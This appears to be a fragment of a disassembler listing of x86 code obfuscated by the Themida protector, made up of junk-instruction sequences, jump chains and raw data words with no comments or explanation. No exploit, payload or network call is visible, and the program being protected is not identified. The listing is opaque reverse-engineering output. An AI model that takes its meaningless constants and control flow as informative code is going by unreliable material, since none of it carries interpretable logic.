		dd 1C33FFFFh, 24248B24h, 68E9F766h, 1FA1h, 54243489h, 8324348Bh
		dd 0C68104C4h, 4, 4E40E953h, 0C481FFFFh, 4, 0FFAA06E9h
		dd 8EDC1FFh, 1696E9h, 24148900h, 64DE9h, 0EF6800h, 0E95B408Ch
		dd 0FFFFDD60h, 0E9E3C680h, 0FFFF4909h, 8704EB83h, 0FAE9241Ch
		dd 66FFFF9Eh, 4244401h,	246C8166h, 0E94B9304h, 0FFFFBD41h
		dd 4EC815Bh, 89000000h,	34B9240Ch, 9764623h, 0A019E9CFh
		dd 0CCB9FFFFh, 0E92FE953h, 89AEh, 0E43EE81h, 0CAE92676h
		dd 83000064h, 5F042404h, 18B368h, 24148900h, 4BAh, 0E9D70100h
		dd 53F3h, 324EB951h, 0E1C10695h, 4F18107h, 894A9927h, 3F30E9CFh
		dd 0E281FFFFh, 77E363D7h, 2EA9B850h, 99E91725h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C343:				; CODE XREF: Themida_:0055B02Fj
		push	2EC1h
		jmp	loc_555AA5
; ---------------------------------------------------------------------------
		db 1, 0DFh, 0E9h
		dd 0FFFFFF84h, 0EC815266h, 4, 0E9240489h, 0FFFFE7D0h, 0FDBA525Ch
		dd 8147AD36h, 0CE042444h, 29586F1Eh, 0E9042454h, 0FFFFA0F5h
dword_55C37C	dd 0E940478Fh, 0FFFF3B93h, 3181D101h, 746B0616h, 83240C8Bh
					; DATA XREF: Themida_:0054FD58o
		dd 895704C4h, 4EC81E7h,	89000000h, 0DE9242Ch
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C3A3:				; CODE XREF: Themida_:00552918j
		push	dword ptr [esp]
		jmp	loc_562741
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EF8300h, 31243C33h, 3C33243Ch, 24248B24h, 68240C89h
		dd 5356h, 7DC9E9h, 592D5D00h, 89CE69E2h, 0EC8158C2h, 4
		dd 0BD242C89h, 23EE5699h, 0F707E5C1h, 7EDC1D5h,	0FFCC64E9h
		dd 58C629FFh, 0FF6348E9h, 0E1BA52FFh, 0F7638137h, 6E2C1DAh
		dd 0F703E2C1h, 0A1CA81DAh, 836C1558h, 0A7E904ECh
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C417:				; CODE XREF: Themida_:005636C5j
		or	edx, eax
		shl	edx, 1
		push	edx
		mov	edx, 0DB55D87h
		neg	edx
		sub	edx, 37BA7A8Ch
		shr	edx, 7
		shr	edx, 6
		shl	edx, 1
		push	ebp
		push	edi
		mov	edi, 2C920399h
		mov	ebp, 2C99AABFh
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, edi
		push	ebx
		mov	ebx, 0
		jmp	loc_55764D
; ---------------------------------------------------------------------------
		dw 5368h
		dd 0E9000010h, 5781h, 8247429h,	31E95D5Eh, 5EFFFF9Fh, 4EB6F581h
		dd 6808D9h, 29000000h, 875D242Ch, 0E9D2F7D5h, 0FFFFA3DDh
dword_55C488	dd 24048B66h, 6D68h, 24348900h,	2434FF54h, 0E150E95Eh
					; DATA XREF: Themida_:0054FE08o
		dd 505AFFFFh, 621E9EB8h, 7AD4E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4AA:				; CODE XREF: Themida_:0055F0E5j
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_560B46
; ---------------------------------------------------------------------------


loc_55C4B3:				; CODE XREF: Themida_:00560304j
		dec	ecx
		add	ecx, 5A244A44h
		jmp	loc_5565EF
; ---------------------------------------------------------------------------


loc_55C4BF:				; CODE XREF: Themida_:005576BCj
		dec	ebx
		jmp	loc_5573F4
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E289525Bh, 4C281h, 0C2830000h, 24148704h, 1797E9h
		dd 4C48100h, 57000000h,	8D13B2BFh, 4CF8143h, 0E93AEB19h
		dd 0FFFFB602h, 42474FFh, 24048F5Eh, 0FF962FE9h,	8027B4FFh
		dd 0C4FE11F4h, 3053EC80h, 24048BE2h, 8004C483h,	0DAF67BEAh
		dd 523FC280h, 0F2E935B6h, 1FFFFB9h, 4770E9D3h, 0BF570000h
		dd 5EBE1CF4h, 8C4830B9h, 5FF9316Ch, 89CB8953h, 241C8BDEh
		dd 4C481h, 34FF0000h, 75B8E924h
		db 2 dup(0FFh)
word_55C54E	dw 6664h		; DATA XREF: Themida_:0054FE60o
		dd 6802B60Fh, 93Ch, 10FDE9h, 4BD3F700h,	2B0DB951h, 0C9813434h
		dd 416A0428h, 757BBF57h, 0F92142D2h, 0B6F1815Fh, 81178A52h
		dd 25D816C1h, 59CB29ADh, 5C56EB81h, 0EB817F3Eh,	166AD12Bh
		dd 0E4E9D801h, 6800002Dh, 78D71DEh, 2ECBE9h, 2434FF00h
		dd 7CC4E9h, 4C68100h, 83000000h, 348704C6h, 7AE95C24h
		dd 66FFFF49h, 0E924148Bh, 0FFFFFA89h, 0E904C383h, 5A4Ch
; ---------------------------------------------------------------------------


loc_55C5CC:				; CODE XREF: Themida_:005545ADj
		pop	eax
		sub	esi, 30125EA8h
		push	774h
		mov	[esp], ebp
		mov	ebp, 0CC91C544h
		sub	esi, 6C1F3EB8h
		jmp	loc_55EEB1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 242C8704h, 0AE46E95Ch, 0EC81FFFFh, 4, 0B0240489h
		dd 0E9E0D0BAh, 0FFFF9B5Fh
; ---------------------------------------------------------------------------


loc_55C60C:				; CODE XREF: Themida_:00553400j
		mov	ebx, 198405EBh
		or	ebx, 488012F4h
		dec	ebx
		and	ebx, 50C301B3h
		jmp	loc_561932
; ---------------------------------------------------------------------------
		db 66h
		dd 5E66F289h, 66D50166h, 6824148Bh, 56ADh, 0E9241489h
		dd 0FFFF9600h
dword_55C63C	dd 240C8B66h, 4541E9h	; DATA XREF: Themida_:0054FD00o
		db 0
; ---------------------------------------------------------------------------


loc_55C645:				; CODE XREF: Themida_:005582E3j
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	0FFFFh
		jmp	loc_5519E6
; ---------------------------------------------------------------------------
		dw 0C229h
		dd 5AD02958h, 0FF4267E9h, 241C87FFh, 5124248Bh,	35BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C679:				; CODE XREF: Themida_:005628A4j
		add	esi, 4
		jmp	loc_563F76
; ---------------------------------------------------------------------------
		dd 0E99C5066h, 0FFFF7350h, 60E9E901h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C693:				; CODE XREF: Themida_:00558D31j
		or	ebx, 11DF4FA4h
		push	ebp
		jmp	loc_552984
; ---------------------------------------------------------------------------
		db 81h
		dd 0D523DEC2h, 39EA8177h, 8B618F65h, 0C481240Ch, 4, 2C281h
		dd 0FF520000h, 5A042474h, 45E4E9h, 4BD00h, 44810000h, 1EA50424h
		dd 6C01519Dh, 0EC810424h, 4, 68241C89h,	519D1EA5h, 245C295Bh
		dd 8F5D5B08h, 682404h, 89000034h, 87E9241Ch, 81000015h
		dd 4C3h, 241C8700h, 5224248Bh, 92BD5551h, 89519002h, 96BA5DE9h
		dd 31519002h, 0D50159CAh, 8124148Bh, 4C4h, 242C3300h, 33242C31h
		dd 248B242Ch, 0E9F1F724h, 0FFFFD747h
; ---------------------------------------------------------------------------


loc_55C738:				; CODE XREF: Themida_:0055D427j
		pop	dword ptr [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	392Fh
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 1A222E1Eh
		inc	ebp
		add	ebp, 0FFFFFFFFh
		not	ebp
		xor	ebp, 0E5DDD1E5h
		add	ebx, ebp
		jmp	loc_557935
; ---------------------------------------------------------------------------


loc_55C765:				; CODE XREF: Themida_:00563A15j
		mov	ebx, 3C864E3Fh
		mov	esi, 218A2EF3h
		sub	esi, 178715E3h
		add	esi, ebx
		jmp	loc_5511E4
; ---------------------------------------------------------------------------


loc_55C77C:				; CODE XREF: Themida_:0055049Bj
		add	ebp, 15F24D8Fh
		or	ebp, 28F04B9Fh
		add	ebp, 0C2069065h
		add	edx, ebp
		pop	ebp
		jmp	loc_558208
; ---------------------------------------------------------------------------
a@so		db '@éO&',0
		align 4
		dd 0C5314305h, 0B850577Ch, 70A6C54h, 0CFE065BFh, 0E9C701F9h
		dd 0FFFF9559h
; ---------------------------------------------------------------------------


loc_55C7B4:				; CODE XREF: Themida_:00555E24j
		inc	ebp
		not	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_555F64
; ---------------------------------------------------------------------------
		db 0F7h
		dd 15C281DAh, 13670FFh,	6FE95AD0h, 83FFFFF2h, 0C8704C1h
		dd 6873E924h, 8F54FFFFh, 0B9512404h, 4,	4244C01h, 0FFBDA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C7F9:				; CODE XREF: Themida_:00553777j
		mov	[esp], ecx
		mov	ecx, 6C0E2FA5h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5CA704B6h
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_553B54
; ---------------------------------------------------------------------------
		dd 4246C81h, 1D7E5CDBh,	743FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C829:				; CODE XREF: Themida_:00558B1Bj
		add	ecx, 2F6E0E30h
		jmp	loc_5627ED
; ---------------------------------------------------------------------------
		dd 4C481h, 0BE560000h, 62A2A62h, 29F6EE81h, 0F729D2E8h
		dd 5FFB015Eh, 94DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C852:				; CODE XREF: Themida_:00550DE8j
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_558391
; ---------------------------------------------------------------------------
		db 0BAh
		dd 32374F86h, 6A8CBA52h, 0D0296CCCh, 53D0295Ah,	0CC6A8CBBh
		dd 5BD8016Ch, 0D0F7485Ah, 7E9D8F7h, 0FFFFFFAAh,	5F042474h
		dd 0E924048Fh, 0FFFFA20Eh
; ---------------------------------------------------------------------------


loc_55C890:				; CODE XREF: Themida_:0055068Bj
		add	edx, 22601053h
		mov	ebx, edx
		pop	edx
		and	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	ecx, 213C17C5h
		not	ecx
		push	7BF5h
		mov	[esp], esi
		jmp	loc_550B62
; ---------------------------------------------------------------------------
		db 50h
		dd 584B6857h, 1E95871h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C8CF:				; CODE XREF: Themida_:0055D4A0j
		add	edx, 20C240B6h
		add	edx, 2E75977h
		jmp	loc_55BFBD
; ---------------------------------------------------------------------------
dword_55C8E0	dd 751968h, 24048900h, 42474FFh, 582434FFh, 57EAE952h
					; DATA XREF: Themida_:0054FCC4o
		dd 0A0BA0000h, 81BEB44Ah, 0FC1E26EEh, 0ABEE8125h, 29105B28h
		dd 0ABC681D6h, 81105B28h, 0FC1E26C6h, 2434FF25h, 4C4815Ah
		dd 0E9000000h, 8089h
; ---------------------------------------------------------------------------


loc_55C924:				; CODE XREF: Themida_:0055DBF2j
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54FF17
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0FC04BD55h, 0E831E88Fh, 83242C8Bh, 5E5004C4h, 5C0D2D58h
		dd 0F0017074h, 745C0D05h, 2434FF70h, 4C4835Eh, 31240433h
		dd 4332404h, 23685C24h,	89000067h, 0E589242Ch, 4BA52h
		dd 0D5010000h, 2205E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C97E:				; CODE XREF: Themida_:00555EC4j
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55430D
; ---------------------------------------------------------------------------


loc_55C992:				; CODE XREF: Themida_:0055D5B5j
		mov	esi, [esp]
		jmp	loc_554894
; ---------------------------------------------------------------------------


loc_55C99A:				; CODE XREF: Themida_:00553891j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_55E9C3
; ---------------------------------------------------------------------------
		db 52h
		dd 10DDE9h, 3561E900h, 8957FFFFh, 4C781E7h, 0E9000000h
		dd 8085h
; ---------------------------------------------------------------------------


loc_55C9C4:				; CODE XREF: Themida_:00564444j
		push	9D7h
		jmp	loc_55ED05
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 6DED8104h, 831C6C6Eh, 2C8904ECh, 0B9515724h,	0F680659h
		dd 3159CF89h, 5F04247Ch, 5E2434FFh, 4C481h, 48680000h
		dd 89000022h, 59BB241Ch, 310F6806h, 15D5BDEh, 0C597E9F0h
		dd 0C8BFFFFh, 4C48324h,	0FF74A1E9h, 83EB81FFh, 13E5A68h
		dd 83C381EBh, 8B3E5A68h, 0C481242Ch, 4,	55F0B850h, 0B353136h
		dd 0E964274Dh, 0FFFF62DAh
; ---------------------------------------------------------------------------


loc_55CA40:				; CODE XREF: Themida_:0055CE8Fj
		add	ebp, 5A7517BEh
		shl	ebp, 2
		xor	ebp, 0C04AF1D8h
		add	ebx, ebp
		jmp	loc_54FFDE
; ---------------------------------------------------------------------------


loc_55CA56:				; CODE XREF: Themida_:00551B7Fj
		mov	eax, 378863DAh
		and	esi, eax
		pop	eax
		add	esi, 6D11573h
		shl	esi, 5
		add	esi, 24BE3DCFh
		jmp	loc_55E4F2
; ---------------------------------------------------------------------------
word_55CA72	dw 48Bh			; DATA XREF: Themida_:0054FC44o
aSbo		db '$éO',0
		align 2
		dw 0EC81h
		dd 4, 0B8240489h, 26CE500Ah, 34FFC789h,	0C4835824h, 0D874E904h
		dd 0BF57FFFFh, 4, 0E95FF901h, 0FFFF5C6Fh, 53DBC580h, 0E7C058B7h
		dd 78EF8005h, 0B0E9FA28h, 46000056h, 0F5EBC681h, 0ECE99A8Eh
		dd 89000070h, 32E95AD0h, 5B00007Dh, 8367E952h, 48F0000h
		dd 4784E924h, 2C890000h, 0A03FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAE2:				; CODE XREF: Themida_:0055A772j
		shr	ebx, 3
		neg	ebx
		jmp	loc_55A80A
; ---------------------------------------------------------------------------
dword_55CAEC	dd 0AFE95256h		; DATA XREF: Themida_:0054FDB0o
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CAF3:				; CODE XREF: Themida_:00550FC8j
		sub	esp, 4
		jmp	loc_55AFA7
; ---------------------------------------------------------------------------


loc_55CAFB:				; CODE XREF: Themida_:005523B8j
		mov	esi, 347D047Fh
		jmp	loc_551249
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 0E95C2404h, 2E8h
; ---------------------------------------------------------------------------


loc_55CB14:				; CODE XREF: Themida_:0055BBC7j
		pop	ecx
		jmp	loc_564A57
; ---------------------------------------------------------------------------


loc_55CB1A:				; CODE XREF: Themida_:005655DBj
		push	edi
		mov	edi, 43C51C65h
		jmp	loc_55B85A
; ---------------------------------------------------------------------------


loc_55CB25:				; CODE XREF: Themida_:00552217j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55CFD0
; ---------------------------------------------------------------------------


loc_55CB35:				; CODE XREF: Themida_:00556CEEj
		sub	ebx, 3AABB00h
		jmp	loc_55E965
; ---------------------------------------------------------------------------


loc_55CB40:				; CODE XREF: Themida_:0055E515j
		shl	edx, 1
		push	esi
		push	ebx
		mov	ebx, 67234169h
		shl	ebx, 6
		sub	ebx, 0C8D05A3Fh
		jmp	loc_5646E9
; ---------------------------------------------------------------------------
		db 81h
		dd 0C91FE0F3h, 0E9F38720h, 0FFFFE175h, 4001BBEh, 5EF03132h
		dd 48BC701h, 4C48124h, 83000000h, 0E95704C7h, 199Ah, 8304C483h
		dd 0FF5302C3h, 5B042474h, 5C24048Fh, 2914E9h, 241C8B00h
		dd 4C481h, 0C1810000h, 69DE594Ah, 8BE9D901h, 0E9000083h
		dd 0FFFF3367h
; ---------------------------------------------------------------------------


loc_55CBB0:				; CODE XREF: Themida_:005646D2j
		push	eax
		mov	eax, 4
		jmp	loc_55766A
; ---------------------------------------------------------------------------
		db 50h
		dd 0DB5023B8h, 19853540h, 0C12917A0h, 0FFC555E9h, 64B6FFh
		dd 67C8E9FEh, 0E2C10000h, 1A4EE906h, 0DBF70000h, 25F3F381h
		dd 434359C8h, 1453EB81h, 0D829A55Ah, 403A2D5Bh,	0C101048Eh
		dd 5724048Bh, 0BE565F54h, 4, 6C3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CC09:				; CODE XREF: Themida_:0055B860j
		push	eax
		mov	eax, 2C0A318Fh
		dec	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		xor	eax, 101C43D2h
		add	eax, 27506EA3h
		jmp	loc_551F7F
; ---------------------------------------------------------------------------
		dd 446B850h, 0D8F7016Eh, 64E40635h, 5BFE3583h, 0C1407091h
		dd 67E905E0h, 83FFFFCEh, 0C58104C4h, 4,	284968h, 240C8900h
		dd 74A7E956h, 0F8010000h, 8A5BCD2Dh, 48B95157h,	0E956A448h
		dd 0FFFFC94Ah
; ---------------------------------------------------------------------------


loc_55CC68:				; CODE XREF: Themida_:00560FA2j
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5642E0
; ---------------------------------------------------------------------------


loc_55CC77:				; CODE XREF: Themida_:0055515Fj
		mov	edi, 38DA531Eh
		inc	edi
		xor	edi, 157A2E83h
		and	edi, 70A46ACBh
		jmp	loc_550EB1
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 0FF81F0E9h, 0FE4824FFh, 2CD8F6C8h, 34E7E97Fh, 2C8BFFFFh
		dd 4C48324h, 0C620E951h, 9566FFFFh, 66D5F766h, 0CD686650h
		dd 2C896664h, 0E9586624h, 0FFFFDF26h, 0B9F58145h, 0E9EB6A42h
		dd 729Fh, 88DDE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CCD6:				; CODE XREF: Themida_:0055ECF0j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	57D7h
		mov	[esp], ecx
		push	0FFFFFFFFh
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_55FF4A
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0DD61AB5h, 77EB815Dh, 8161E851h, 6C7443EBh, 0E9C32972h
		dd 0FFFF90AEh, 28F7E681h, 7CE9759Bh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD1F:				; CODE XREF: Themida_:00553FF9j
		sub	ecx, eax
		add	ecx, 2FB6E72h
		pop	eax
		push	edi
		mov	edi, 2F6E0E30h
		jmp	loc_554392
; ---------------------------------------------------------------------------
		db 9Dh
		dd 31DDE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD3A:				; CODE XREF: Themida_:005567BBj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 80000h
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55AFF8
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55A6AC
; ---------------------------------------------------------------------------
		db 81h
		dd 3C2BF2C5h, 0E3BA5229h, 0E9152C54h, 0FFFFE805h, 0AF6BA52h
		dd 0CA816AA0h, 113A1873h, 0EA81DAF7h, 44EFCE5Bh, 295AD301h
		dd 5094E9D3h, 80E90000h
		db 31h,	2 dup(0FFh)
byte_55CD97	db 0ADh			; DATA XREF: Themida_:0054FCE4o
		dd 145B68h, 241C8900h, 315426BBh, 19EB8148h, 68045771h
		dd 1EBDh, 0E9243489h, 0FFFF8663h, 4C4815Ch, 0F000000h
		dd 61D868C8h, 4890000h,	3149E924h, 4C01FFFFh, 6C810424h
		dd 66080424h, 0E9595ABBh, 568Fh, 900F8DBDh, 5DEE3106h
		dd 5504EEC1h, 4239A8BDh, 0AEE58133h, 0E92FAC36h, 0FFFFF3BBh
		dd 0FD8E953h, 0BA520000h, 767061h, 15AD701h, 61EF81EFh
		dd 81007670h, 781F0FEFh, 242C8B36h, 8304C483h, 3C3304C7h
		dd 243C3124h, 8B243C33h, 0EC812424h, 4,	68240C89h, 4FC4h
		dd 24048F54h, 588BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55CE45:				; CODE XREF: Themida_:0055A0AFj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, edx
		pop	edx
		or	eax, eax
		jnz	loc_5547C7
		push	1845h
		mov	[esp], eax
		push	7CA464C4h
		pop	eax
		push	1D77h
		mov	[esp], ebx
		mov	ebx, 1DB9577Bh
		sub	ebx, 0C29DE21Ah
		push	ebp
		mov	ebp, 9510CE0h
		or	ebp, 1CEA6FF1h
		jmp	loc_55CA40
; ---------------------------------------------------------------------------
		dd 8158C201h, 2C2h, 0E1895100h,	398168h, 241C8900h, 2436C0BBh
		dd 57D3F708h, 0FFCF0EE9h, 4C381FFh, 81000000h, 4ECh, 24348900h
		dd 0C7685051h, 5800DE01h, 728BE9h, 24248900h, 1E90E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CED9:				; CODE XREF: Themida_:0055484Dj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_559EB5
; ---------------------------------------------------------------------------


loc_55CEE2:				; CODE XREF: Themida_:00563908j
		xor	eax, 57242F2h
		and	eax, 19D130DAh
		xor	eax, 4D951AFAh
		xor	eax, 2E7B1951h
		sub	eax, 0EAC1FEB1h
		add	edx, eax
		jmp	loc_554584
; ---------------------------------------------------------------------------


loc_55CF02:				; CODE XREF: Themida_:005526AAj
		sub	ebx, eax
		sub	ebx, 138A223Ah
		push	ecx
		mov	ecx, 74F6424Fh
		shl	ecx, 4
		shl	ecx, 5
		add	ecx, 8C7E7CC6h
		add	ebx, 13292FFEh
		sub	ebx, ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5636DF
; ---------------------------------------------------------------------------


loc_55CF2F:				; CODE XREF: Themida_:00564B6Cj
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		xchg	ecx, ebx
		not	ecx
		xchg	ecx, ebx
		xchg	ebx, [esp]
		mov	eax, [esp]
		jmp	loc_55B929
; ---------------------------------------------------------------------------
		dd 9103E953h, 0EC83FFFFh, 242C8904h, 0FFE70BE9h, 24048BFFh
		dd 6804C483h, 0F90h, 68243C89h,	3576h, 0FF4FB5E9h, 241C89FFh
		dd 0C381E389h, 4, 0FFF643E9h, 0A2468FFh, 0C890000h, 4EC8324h
		dd 0FF8A48E9h, 0C30059FFh, 0FF776EE9h, 5AD729FFh, 0FF4EF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CFA1:				; CODE XREF: Themida_:0055FF66j
		push	eax
		not	dword ptr [esp]
		pop	eax
		xor	eax, 84E0E117h
		jmp	loc_563DB1
; ---------------------------------------------------------------------------
		dd 0C6E9CD01h, 5200000Fh, 0F8B08BB6h, 5AF030h, 48B66C1h
		dd 2C48124h, 0E9000000h, 0FFFF65BCh
; ---------------------------------------------------------------------------


loc_55CFD0:				; CODE XREF: Themida_:0055CB30j
		xchg	ebp, [esp]
		pop	esp


loc_55CFD4:				; CODE XREF: Themida_:0055D35Ej
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_552808
; ---------------------------------------------------------------------------


loc_55CFE4:				; CODE XREF: Themida_:0055B6C2j
		push	75FBh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5616E8
; ---------------------------------------------------------------------------
aSsK		db 'Sé×k',0
		dd 4C48300h, 2474FF56h,	48F5E04h, 24248B24h, 0E9028864h
		dd 0FFFF2F07h, 4C681h, 0EE810000h, 4, 0E9243487h, 5F0Ah
		dd 0A9C8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D02A:				; CODE XREF: Themida_:005533ECj
		mov	[esp], ebp
		mov	ebp, 1FF57E79h
		add	ebp, 1
		sub	esp, 4
		mov	[esp], eax
		push	6FA60304h
		pop	eax
		sub	eax, 701D48E4h
		shr	eax, 8
		dec	eax
		xor	eax, 0B5F5827h
		xor	eax, 14D5AEE4h
		add	ebp, 10C36851h
		sub	ebp, eax
		push	edx
		mov	edx, 10C36851h
		jmp	loc_555389
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 77B5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D072:				; CODE XREF: Themida_:00552DABj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553F34
; ---------------------------------------------------------------------------


loc_55D082:				; CODE XREF: Themida_:0056430Dj
		mov	edi, esp
		push	edx
		jmp	loc_560F9D
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 3E79137Ch, 0D531D5F7h, 0D531EA31h, 0FF6A94E9h, 4875CFFh
		dd 52665C24h, 6E176850h, 2DE90000h, 29FFFF32h, 21EB81EBh
		dd 0E9636025h, 0FFFF3028h
; ---------------------------------------------------------------------------


loc_55D0BC:				; CODE XREF: Themida_:0055B2C1j
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 4
		jmp	loc_553199
; ---------------------------------------------------------------------------


loc_55D0D8:				; CODE XREF: Themida_:00560B81j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_562F28
; ---------------------------------------------------------------------------


loc_55D0E7:				; CODE XREF: Themida_:005564D7j
		add	bl, ah
		jmp	loc_55F84F
; ---------------------------------------------------------------------------


loc_55D0EE:				; CODE XREF: Themida_:00553820j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 1C0804EFh
		jmp	loc_555E0C
; ---------------------------------------------------------------------------
		dd 0BA04C483h, 1BC22C0Bh, 1CDCC281h, 0EC833C32h, 24148904h
		dd 5A2414F7h, 0FF9D41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D11D:				; CODE XREF: Themida_:00554AB5j
		neg	esi
		sub	esi, 0A4B0B404h
		jmp	loc_55259F
; ---------------------------------------------------------------------------
		dw 3268h
		dd 8900005Fh, 0D6BA2414h, 0C1432042h, 0EAC103EAh, 0DD00E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D142:				; CODE XREF: Themida_:00564929j
		push	dword ptr [ebx]
		push	esi
		mov	esi, 782A3F6Ah
		xor	[esp+4], esi
		pop	esi
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	ecx, 782A3F6Ah
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		jmp	loc_56441D
; ---------------------------------------------------------------------------


loc_55D17F:				; CODE XREF: Themida_:0055773Dj
		push	ebp
		mov	ebp, esp
		jmp	loc_563833
; ---------------------------------------------------------------------------
		db 57h
		dd 9143F9BFh, 0C781473Bh, 57A24C7Fh, 8305EFC1h,	0DEE904ECh
		dd 50FFFF96h, 4E7204B8h, 7206357Fh, 0C1897F4Eh,	8124048Bh
		dd 4C4h, 0FFCB0100h, 81592434h,	4C4h, 2B2CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D1C6:				; CODE XREF: Themida_:00559683j
		mov	esp, [esp]
		mov	[esp], ecx
		push	29A235E7h
		jmp	loc_5521C0
; ---------------------------------------------------------------------------
		dw 315Eh
		dd 4EC81C3h, 89000000h,	59BB241Ch, 0E97CDA62h, 0FFFF56B6h
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 53240489h, 7DF4BD55h
		dd 16E95DD3h, 5BFFFF35h, 597D420Dh, 2E9503Dh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D217:				; CODE XREF: Themida_:0055E1F8j
		add	ecx, 5620B494h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 181232EAh
		push	ebx
		mov	ebx, 6F6C5AF7h
		sub	ebx, 4875F643h
		push	46FBh
		jmp	loc_55ADD1
; ---------------------------------------------------------------------------
word_55D23E	dw 8B66h		; DATA XREF: Themida_:0054FD80o
		dd 0D0E92424h
		db 2Ch,	2 dup(0FFh)
byte_55D247	db 0FFh			; DATA XREF: Themida_:0054FCC0o
		dd 0FF042474h, 48B2434h, 6FE46824h, 1BE90000h, 29FFFFA6h
		dd 0E1C15FF9h, 83D1F707h, 1C8904ECh, 0FFFFBB24h, 62E9FFFFh
		db 86h,	2 dup(0FFh)
byte_55D273	db 68h			; DATA XREF: Themida_:0054FC84o
		dd 6343h, 352DE9h, 24042900h, 4AE9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D285:				; CODE XREF: Themida_:00554222j
		pop	eax
		add	eax, ebp
		jmp	loc_564C94
; ---------------------------------------------------------------------------
		db 80h,	0E4h, 4Bh
		dd 2EC81h, 0DEE90000h, 0BEFFFFE4h, 76C3C84h, 5C63C681h
